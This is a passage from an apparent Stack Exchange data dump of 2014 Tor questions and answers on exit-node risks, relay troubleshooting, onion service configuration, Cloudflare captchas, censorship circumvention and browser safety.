de-anonymize my browsing?" Tags="|anonymity|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4425" PostTypeId="2" ParentId="4397" CreationDate="2014-10-24T18:29:16.893" Score="2" Body="&lt;p&gt;Yes. In fact, researchers recently &lt;a href=&quot;http://threatpost.com/researcher-finds-tor-exit-node-adding-malware-to-binaries/109008&quot; rel=&quot;nofollow&quot;&gt;discovered a rogue exit node that was modifying binary files&lt;/a&gt;! Know that Tor protects your anonymity, but that without end to end encryption you are vulnerable to MITM attacks. Some might say you are even &lt;em&gt;more&lt;/em&gt; vulnerable since you're more of a target by using Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an unfortunate fact that computer security is and always will be an ongoing process. Tools like Tor successfully make it much easier to 'do the right thing', but so far there are no perfect easy-to-use end to end solutions. Always validate everything you pull down using Tor (or off the internet in general for that matter).&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-10-24T18:29:16.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4427" PostTypeId="2" ParentId="4424" CreationDate="2014-10-24T20:18:16.793" Score="3" Body="&lt;p&gt;No it's not safe. It just doesn't run macros and it doesn't even do a good job at that. I'm pretty sure it still downloads images. No one to my knowledge has done an in depth audit on Word's leaking when opening files, especially not protected view. &lt;a href=&quot;http://www.pcmag.com/article2/0,2817,2387069,00.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.pcmag.com/article2/0,2817,2387069,00.asp&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-10-24T20:18:16.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4430" PostTypeId="2" ParentId="4397" CreationDate="2014-10-25T17:35:42.077" Score="1" Body="&lt;p&gt;About reported victims: If such an attack really succeeds you will most likely never find out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been various attacks in the past of the same governments that (want to) block Tor. There have been numerous occasions of governments even faking SSL signatures of websites, so you really want to make sure this isn't the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you take time to download Tor or Tails you really should take that few seconds to minutes time to verify the signature.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-10-25T17:35:42.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4432" PostTypeId="1" CreationDate="2014-10-25T22:11:27.603" Score="2" ViewCount="487" Body="&lt;p&gt;I'm running a Tor Exit Node for some weeks now and I've noticed something strange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;every now and then, usually after 1 day of runtime I start to get this message in my ARM log. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;14:03:48 [ARM_NOTICE] Relay resumed&#xA;14:03:43 [ARM_NOTICE] Relay unresponsive (last heartbeat: Sat Oct 25 2014)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after 2 days those messages span over several hours. I only notice them, when I logon&#xA;to the server via SSH and view the log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even more strange is, that since I'm running this Tor node, there are some time periods where I can't logon to the server. I can ping it, but every try to reach it (SSH, HTTP, even Minecraft) fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after further investigation I started to realise that those times where the server is not reachable seems to coincide with the &lt;code&gt;Relay unresponsive&lt;/code&gt; messages from the log.&#xA;After around 3 days the server is nearly not reachable anymore, there are only about 2-5 hours a day where I can logon to it. so I have to hard reboot it via my Server provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then everything go's fine for another 2-4 days...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone with a similar error:&#xA;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2013-August/002343.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2013-August/002343.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3203" LastActivityDate="2016-09-09T03:26:12.993" Title="Tor Relay unresponsive" Tags="|relays|exit-relays|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4434" PostTypeId="2" ParentId="4337" CreationDate="2014-10-26T14:57:48.170" Score="2" Body="&lt;p&gt;Plus, about 80% of Tor traffic exits from just the top 50 nodes, so the likelyhood of seeing the same IP address is pretty high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of Tor nodes are just toys, with a trivial amount of bandwidth.  These feel-good relays get little if any traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://compass.torproject.org/#/by_country?exit_filter=all_relays&amp;amp;links&amp;amp;sort=cw&amp;amp;sort_reverse&amp;amp;country=&amp;amp;by_country=false&amp;amp;top=50&amp;amp;exits_only&quot; rel=&quot;nofollow&quot;&gt;https://compass.torproject.org/#/by_country?exit_filter=all_relays&amp;amp;links&amp;amp;sort=cw&amp;amp;sort_reverse&amp;amp;country=&amp;amp;by_country=false&amp;amp;top=50&amp;amp;exits_only&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4965" LastActivityDate="2014-10-26T14:57:48.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4435" PostTypeId="1" CreationDate="2014-10-26T15:34:00.380" Score="1" ViewCount="79" Body="&lt;p&gt;A cheap VPS is a lot more cost-effective that running a bridge on Amazon's AWS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This implies that the transport mechanism has to be built on the VPS, and added to the bridge configuration.  But which secure transports (that is, not (obfs1/obfs2/obfs3) can be built on a RHEL6/RHEL7 system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I long for the days when the pluggable transports were written in plain C.  Now they seems to all be in some specific version of a scripting language or in some esoteric language that is unsupported by Red Hat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on running a &lt;em&gt;secure&lt;/em&gt; pluggable transport on RHEL6/RHEL7?&lt;/p&gt;&#xA;" OwnerUserId="4965" LastEditorUserId="923" LastEditDate="2014-10-27T16:43:37.897" LastActivityDate="2015-02-24T18:16:51.987" Title="Which pluggable transport works on RHEL6/RHEL7?" Tags="|bridge|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4436" PostTypeId="1" AcceptedAnswerId="4440" CreationDate="2014-10-26T17:33:12.540" Score="2" ViewCount="65" Body="&lt;p&gt;I'm trying to make a video of the Tor Project for &lt;a href=&quot;http://www.projectforawesome.com/about&quot; rel=&quot;nofollow&quot;&gt;the Project for Awesome&lt;/a&gt; and I need some graphics explaining the Tor network. Is there a centralized resource of graphics and other explanation tools for describing how Tor works for less-technical folk?&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2014-10-26T23:09:19.813" Title="Tor graphics and media resource repository" Tags="|tor-browser-bundle|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4437" PostTypeId="1" AcceptedAnswerId="4439" CreationDate="2014-10-26T17:50:44.520" Score="2" ViewCount="1456" Body="&lt;p&gt;Is there any chance to host multiple services (like a webserver, XMPP server, ssh server) behind one .onion address? Or do I have to create a single hidden service for each service/server?&lt;/p&gt;&#xA;" OwnerUserId="4966" LastEditorUserId="88" LastEditDate="2014-10-27T07:28:49.333" LastActivityDate="2014-10-29T17:01:12.837" Title="Is there a possibility to host multiple hidden services on one .onion address?" Tags="|onion-services|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4439" PostTypeId="2" ParentId="4437" CreationDate="2014-10-26T18:58:38.230" Score="2" Body="&lt;p&gt;You can have multiple services on the same .onion address. You can forward each port to a different service.&lt;br&gt;&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HiddenServiceDir /path/to/hs/dir/&lt;br&gt;&#xA;  HiddenServicePort 80 127.0.0.1:80&lt;br&gt;&#xA;  HiddenServicePort 8000 127.0.0.1:8000&lt;br&gt;&#xA;  HiddenServicePort 81 192.168.0.102:80&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This (in your &lt;code&gt;torrc&lt;/code&gt;) would expose 3 services on 1 .onion address. The first 2 live on the same host as the Tor relay. The 3rd lives on another host in the local network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en#three&quot; rel=&quot;nofollow&quot;&gt;section three&lt;/a&gt; of the site &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;Configuring Hidden Services&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="88" LastEditDate="2014-10-27T07:38:29.647" LastActivityDate="2014-10-27T07:38:29.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4440" PostTypeId="2" ParentId="4436" CreationDate="2014-10-26T23:09:19.813" Score="2" Body="&lt;p&gt;Tor videos and images can be found &lt;a href=&quot;https://media.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;br/&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; describes how Tor works.&lt;br/&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; describes how Tor hidden services work.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-10-26T23:09:19.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4441" PostTypeId="1" AcceptedAnswerId="4443" CreationDate="2014-10-27T02:06:09.930" Score="2" ViewCount="856" Body="&lt;p&gt;If one completes the captcha to bypass the Cloudflare wall when using Tor is their anonymity compromised?&lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="88" LastEditDate="2014-10-27T07:28:09.837" LastActivityDate="2014-10-29T05:48:37.343" Title="Does Cloudflare identify Tor users actual IP address and other identifying info?" Tags="|anonymity|security|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4442" PostTypeId="2" ParentId="4435" CreationDate="2014-10-27T07:50:01.637" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This implies that the transport mechanism has to be built on the VPS, and added to the bridge configuration. But which secure transports (that is, not (obfs1/obfs2/obfs3) can be built on a RHEL6/RHEL7 system?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It does?  Building packages and or binaries on another system and copying them over is always an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, both of the two authenticated transports (ScrambleSuit and obfs4) work with minimal effort, though I haven't checked in a while.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I long for the days when the pluggable transports were written in plain C. Now they seems to all be in some specific version of a scripting language or in some esoteric language that is unsupported by Red Hat.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ok.  Long for it all you want, but various &quot;scripting language&quot;s and &quot;esoteric language&quot;s are used because they provide for rapid prototyping and memory safety, and this is unlikely to change unless other people start migrating away from the options currently in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Even the ancient version of python that ships standard with Centos 6.5 (2.6.6) is &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11610&quot; rel=&quot;nofollow&quot;&gt;sufficiently recent to run obfsproxy&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;EPEL 6 and EPEL 7 both appear to include a sufficiently recent &lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=1146882&quot; rel=&quot;nofollow&quot;&gt;Go compiler package&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't have the Centos VM I used to test things the last time this sort of issue came up, but if it doesn't work, I could set one up to fix things, assuming the bug report is clear (though the last time this came up, the bug report was invalid).&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-10-27T07:50:01.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4443" PostTypeId="2" ParentId="4441" CreationDate="2014-10-27T08:34:32.960" Score="3" Body="&lt;p&gt;No.Cloudflare only knows the IP address of one of the tor exit relays.&#xA;When you use Tor, you are sending queries through exit relays that are also shared by thousands of other users. Tor users typically see this message when many Tor users are querying Cloudflare in a short period of time. Cloudflare interprets the high volume of traffic from a single IP address (the exit relay you happened to pick) as somebody trying to &quot;crawl&quot; their website, so it slows down traffic from that IP address for a short time.&#xA;There is another explanation:Due to many crackers have used tor to avoid being tracked when they are doing attack, Cloudflare put all IP address of tor exit relays into a blacklist,when one of those  IP address tries to contract to a server that is protected by the Cloudflare wall,it will ask the user to do the captcha.&#xA;The captcha is a kind of &quot;Turing Test&quot;,which is used to confirm a user is a human,not bots.&#xA;Don`t worry,Cloudflare walls and the servers only knows that you are a human by forcing you completing the captcha.You are still anonymous. &#xA;Well,someone may worry about browser fingerprint.If you are using Tor Browser,than you should not continue worrying because Tor Browser disguise HTTP headers already.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastEditorUserId="4969" LastEditDate="2014-10-29T05:48:37.343" LastActivityDate="2014-10-29T05:48:37.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4445" PostTypeId="1" CreationDate="2014-10-27T10:22:34.520" Score="1" ViewCount="35" Body="&lt;p&gt;Is there a way to config Tor client not to connect to relays which their usable bandwidth is less than 10Mbit/s ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mean the relays total available bandwidth. I mean usable bandwidth by client . for example a relay has 100Mbit/s available but is strict.&lt;/p&gt;&#xA;" OwnerUserId="4970" LastEditorUserId="923" LastEditDate="2014-10-27T16:31:51.040" LastActivityDate="2014-10-27T16:31:51.040" Title="Tor client doesn't connect if relay's available bandwidth is less than x" Tags="|relays|configuration|bandwidth|speed|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4447" PostTypeId="1" CreationDate="2014-10-27T14:53:45.580" Score="1" ViewCount="464" Body="&lt;ol&gt;&#xA;&lt;li&gt;Do Tor users have any particular concerns, as opposed to general web users? E.g., the owner of an entry node might decide to send malicious code back to all Tor users, or the owners of an exit node might decide to infect all Tor users who visit a site that their government does not want them to see. Infection would be for the purpose of piercing anonymity, rather than for financial gain.&lt;/li&gt;&#xA;&lt;li&gt;Why doesn't China, or any other government or entity e.g., set up nodes to infect dissidents?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4973" LastEditorDisplayName="user5" LastEditDate="2014-11-10T14:13:02.037" LastActivityDate="2014-11-10T14:21:20.210" Title="Best advise for Tor users?" Tags="|anonymity|security|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4448" PostTypeId="2" ParentId="4441" CreationDate="2014-10-27T15:35:02.690" Score="2" Body="&lt;p&gt;They can get your browser dimensions (for fingerprinting) if using javascript. That's especially a concern when they demand that you have to allow google scripts to run... though it seems that most times I can solve a Cloudfront captcha without allowing google. I could never solve a captcha at google.com itself (on those very few times when I would actually use google to search anything).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit: and as far as I know, Cloudflare is also in the spying business, which is how they pay for their &quot;free and helpful&quot; services. All internet corporations have seen how google and facebook have gotten mountains of money by invading privacy and the public doesn't care.]&lt;/p&gt;&#xA;" OwnerUserId="4973" LastEditorUserId="4973" LastEditDate="2014-10-27T15:40:44.273" LastActivityDate="2014-10-27T15:40:44.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4449" PostTypeId="1" CreationDate="2014-10-27T15:54:39.270" Score="0" ViewCount="51" Body="&lt;p&gt;I've seen such warnings, but haven't seen explanations of why it might possibly be risky to run the Tor Browser at the same time as running Firefox -  just general thoughts about how the 2 browsers might be sharing something. What, if any, are the particular reasons for concern?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, would any of the FF forks (Waterfox, Pale Moon, etc.) be better on that concern than FF itself? &lt;/p&gt;&#xA;" OwnerUserId="4973" LastActivityDate="2014-10-29T07:14:38.873" Title="Risk of running TB and FF together?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4450" PostTypeId="2" ParentId="4421" CreationDate="2014-10-27T16:16:02.613" Score="1" Body="&lt;p&gt;I get that problem behavior only occasionally, at which time I kill the process with task manager and restart TBB. (I also have never heard of Trusteer Rapport -  unless that's the software that banks sometimes offer... and I nevertheless haven't installed it.)&lt;/p&gt;&#xA;" OwnerUserId="4973" LastActivityDate="2014-10-27T16:16:02.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4451" PostTypeId="1" AcceptedAnswerId="4454" CreationDate="2014-10-27T17:49:31.030" Score="5" ViewCount="12953" Body="&lt;p&gt;Installed the Tor browser bundle on my Ubuntu 14.10 box a while back and am now trying to learn about onion sites. My Tor browser passes the check.torproject.org test, but can not connect to idnxcnkne4qt76tg.onion (which I understand is Tor's onion connectivity test site)... it tries for a while and then throws the error : The connection has timed out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me correct this?&lt;/p&gt;&#xA;" OwnerUserId="4977" LastEditorUserId="923" LastEditDate="2014-10-28T16:53:45.953" LastActivityDate="2016-04-29T10:04:04.483" Title="Can't connect to onion sites" Tags="|tor-browser-bundle|onion-services|torcheck|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4452" PostTypeId="1" CreationDate="2014-10-27T18:29:11.847" Score="1" ViewCount="785" Body="&lt;p&gt;I set up my web server to proxy my dirport to port 80 (to try to make things easier for folks who are firewalled) and found something interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following requests were proxied successfully with code 200 (by count):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 12 /tor/server/d/[...]&#xA;  9 /tor/server/authority.z&#xA;  8 /tor/server/authority&#xA;  5 /tor/keys/fp/[...]&#xA;  4 /tor/status-vote/current/consensus/[...]&#xA;  2 /tor/status-vote/current/consensus-microdesc/[...]&#xA;  1 /tor/status-vote/current/consensus.z&#xA;  1 /tor/running-routers&#xA;  1 /tor/micro/d/[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, all of these were code 404 (by count):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  8016 /tor/status/all.z&#xA;     4 /tor/server/fp.z&#xA;     4 /tor/server/d/[...]&#xA;     3 /tor/status/all&#xA;     1 /tor/server/d.z&#xA;     1 /tor/micro/d/[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At first I thought something was up with the way I'm doing the proxy, but if I hit port 9030 directly and try to fetch /tor/status/all.z, all I get is a blank page, so I'm assuming it's not a valid URI.  That being the case, why the very high count?  Is it a 'legacy' URI that is no longer valid, but being requested by older clients?  (I know it's at least v2 because it's behind /tor/.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just trying to understand the very high number of failures...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rodney&lt;/p&gt;&#xA;" OwnerUserId="4978" LastEditorUserId="4978" LastEditDate="2014-10-27T18:50:23.827" LastActivityDate="2014-10-29T07:45:35.437" Title="Why are these Tor Directory URIs invalid?" Tags="|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4454" PostTypeId="2" ParentId="4451" CreationDate="2014-10-27T23:12:10.617" Score="1" Body="&lt;p&gt;Tor's sysadmin team has disabled the support for this hidden service. See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11567&quot; rel=&quot;nofollow&quot;&gt;trac #11567&lt;/a&gt; for some information. When you want to test some hidden services you can choose one from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://duskgytldkxiuqc6.onion/&quot; rel=&quot;nofollow&quot;&gt;fine example&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow&quot;&gt;DuckDuckGo search engine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;Facebooks's onion service&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;test one or more hidden services from the &lt;a href=&quot;https://ahmia.fi/address/&quot; rel=&quot;nofollow&quot;&gt;list of onion domains&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-29T10:04:04.483" LastActivityDate="2016-04-29T10:04:04.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4455" PostTypeId="2" ParentId="4447" CreationDate="2014-10-27T23:18:39.277" Score="4" Body="&lt;p&gt;There are a couple of things you should do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep your browser secure. Use Tor Browser and if websites allow it, disable JavaScript. This makes your browser way more secure, but also makes attacks on your anonymity harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to avoid Downloads completely. Seriously, you shouldn't download any files. Even a PDF or a word document can pose a serious risk to your security and anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think your computer might be infected (virus scanners don't detect everything only what they know - really only that) then you should really consider using &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;, not a virus scanner. This will protect both your anonymity and your system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no virus scanner which is made for Tor, just because that's not how virus scanners work. They just have a big database of known viruses that they look for, but it's a quite inefficient tool in the sense that it already needs to know about a certain malware to be able to protect against it, so it's rather easy for an attacker to bypass it, even with really low skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general you want to be more cautious. You should actually always be suspicious about bad SSL certificates from websites and verify signatures if you really have to download something over Tor (like Tor itself), but then again you may want to avoid that as it poses a serious threat, just like every downloaded file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About China: They and other countries actually seem to at least consider that. However, if you can get a working version of Tor, a bridge and the public key(s) with which new releases are signed to dissidents then the right usage of both can make it incredibly hard to attack. Once you have the public key (and you only need to get that once) then you can verify every future release of Tor or anything else you might download. Of course this doesn't prevent security holes that might be there in the Tor Browser. That's why disabling JavaScript can increase security. A lot of attacks require enabled JavaScript, but when you Download files and you don't trust the source or can't verify that anybody messed with the Tor Browser you downloaded then you are vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But like I said. It's as easy as getting that right public key just once and you can detect every attack. Should the signature be invalid (not be linked to the public key for example) then you know you have to download Tor from somewhere else.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="923" LastEditDate="2014-10-29T10:29:36.607" LastActivityDate="2014-10-29T10:29:36.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4456" PostTypeId="2" ParentId="4449" CreationDate="2014-10-28T08:55:10.807" Score="1" Body="&lt;p&gt;I think it was more of a risk before - when you manually configured the browser to use tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TBB is a standalone version of the browser, so it does not share anything with the 'regular' browser, but there is one risk that I can think of and that is that they both look the same ,and you can then easily enter something in the wrong browser, which then can be used to identify information, or that you mistakenly install a addon or something like that in the wrong browser.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-10-28T08:55:10.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4457" PostTypeId="1" AcceptedAnswerId="4462" CreationDate="2014-10-28T15:55:39.683" Score="1" ViewCount="935" Body="&lt;p&gt;Is it possible for an ISP to block access to Tor network or block access to websites accessed through Tor network/client?&lt;/p&gt;&#xA;" OwnerUserId="4944" LastActivityDate="2014-10-29T14:56:06.517" Title="What are some ways an ISP blocks access to Tor network or to websites visited using a Tor client?" Tags="|tor-browser-bundle|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4458" PostTypeId="1" CreationDate="2014-10-28T15:57:45.983" Score="2" ViewCount="44616" Body="&lt;p&gt;In Firefox, a video file on a website that I want to watch opens up ... I can see about 2 seconds of the video and then I get the message &quot;this is not available in your location&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Tor, I get the &quot;Video or MIME format not supported&quot; message and I cannot see any video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox seems to be able to play the video but is unable to get around the location restriction. Whereas, Tor seems to be able to work around the location problem (which is why I tried using it), but then the format problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any settings in Tor that I need to change or install some plug-in ?&lt;/p&gt;&#xA;" OwnerUserId="4980" LastEditorUserId="923" LastEditDate="2015-02-04T00:52:57.740" LastActivityDate="2018-08-06T21:18:44.997" Title="&quot;Video or MIME format not supported&quot; problem" Tags="|windows|firefox|flash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4459" PostTypeId="1" AcceptedAnswerId="4486" CreationDate="2014-10-28T17:40:45.593" Score="3" ViewCount="3598" Body="&lt;p&gt;Tor seems slower than my normal direct internet connection, perhaps because of high traffic from users or low bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain the speed differences to me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much. Have a nice day.&lt;/p&gt;&#xA;" OwnerUserId="3815" LastEditorUserId="4995" LastEditDate="2014-10-31T13:04:51.953" LastActivityDate="2014-10-31T13:44:14.030" Title="How does Tor Network latency (speed) compare with direct internet?" Tags="|tor-browser-bundle|exit-relays|speed|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4462" PostTypeId="2" ParentId="4457" CreationDate="2014-10-29T00:48:27.797" Score="2" Body="&lt;p&gt;The Tor project provides a list of entry nodes, so they can block those by IP address. But then there are &lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;bridges&lt;/em&gt;&lt;/a&gt; that aren't in the list that can act as an entry node. But if the censor is using DPI (Deep Packet Inspection) to examine packets and block those that look as if they are Tor, then a user can try &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transports&lt;/a&gt; aka &lt;em&gt;Meek&lt;/em&gt; that obfuscate the packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might like to watch this video: &lt;a href=&quot;https://www.youtube.com/watch?v=GwMr8Xl7JMQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=GwMr8Xl7JMQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How governments have tried to block Tor [28C3]&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Iran blocked Tor handshakes using Deep Packet Inspection (DPI) in January 2011 and September 2011. Bluecoat tested out a Tor handshake filter in Syria in June 2011. China has been harvesting and blocking IP addresses for both public Tor relays and private Tor bridges for years.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Roger Dingledine and Jacob Appelbaum will talk about how exactly these&#xA;  governments are doing the blocking, both in terms of what signatures&#xA;  they filter in Tor (and how we've gotten around the blocking in each&#xA;  case), and what technologies they use to deploy the filters --&#xA;  including the use of Western technology to operate the surveillance&#xA;  and censorship infrastructure in Tunisia (Smartfilter), Syria&#xA;  (Bluecoat), and other countries. We'll cover what we've learned about&#xA;  the mindset of the censor operators (who in many cases don't want to&#xA;  block Tor because they use it!), and how we can measure and track the&#xA;  wide-scale censorship in these countries. Last, we'll explain Tor's&#xA;  development plans to get ahead of the address harvesting and handshake&#xA;  DPI arms races.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4973" LastEditorUserId="923" LastEditDate="2014-10-29T14:56:06.517" LastActivityDate="2014-10-29T14:56:06.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4464" PostTypeId="2" ParentId="4449" CreationDate="2014-10-29T07:14:38.873" Score="1" Body="&lt;p&gt;Well,I can say if you do this,you are not at risk technically,because those two browsers  work independently and they do not share anything with each other.But there is another problem:when you are trying to type a website domain name and visit it anonymously in Tor browser,you may choose another normal firefox by mistakes and reveal your real public IP address.So you`d better not do this,okay?    &lt;/p&gt;&#xA;" OwnerUserId="4969" LastActivityDate="2014-10-29T07:14:38.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
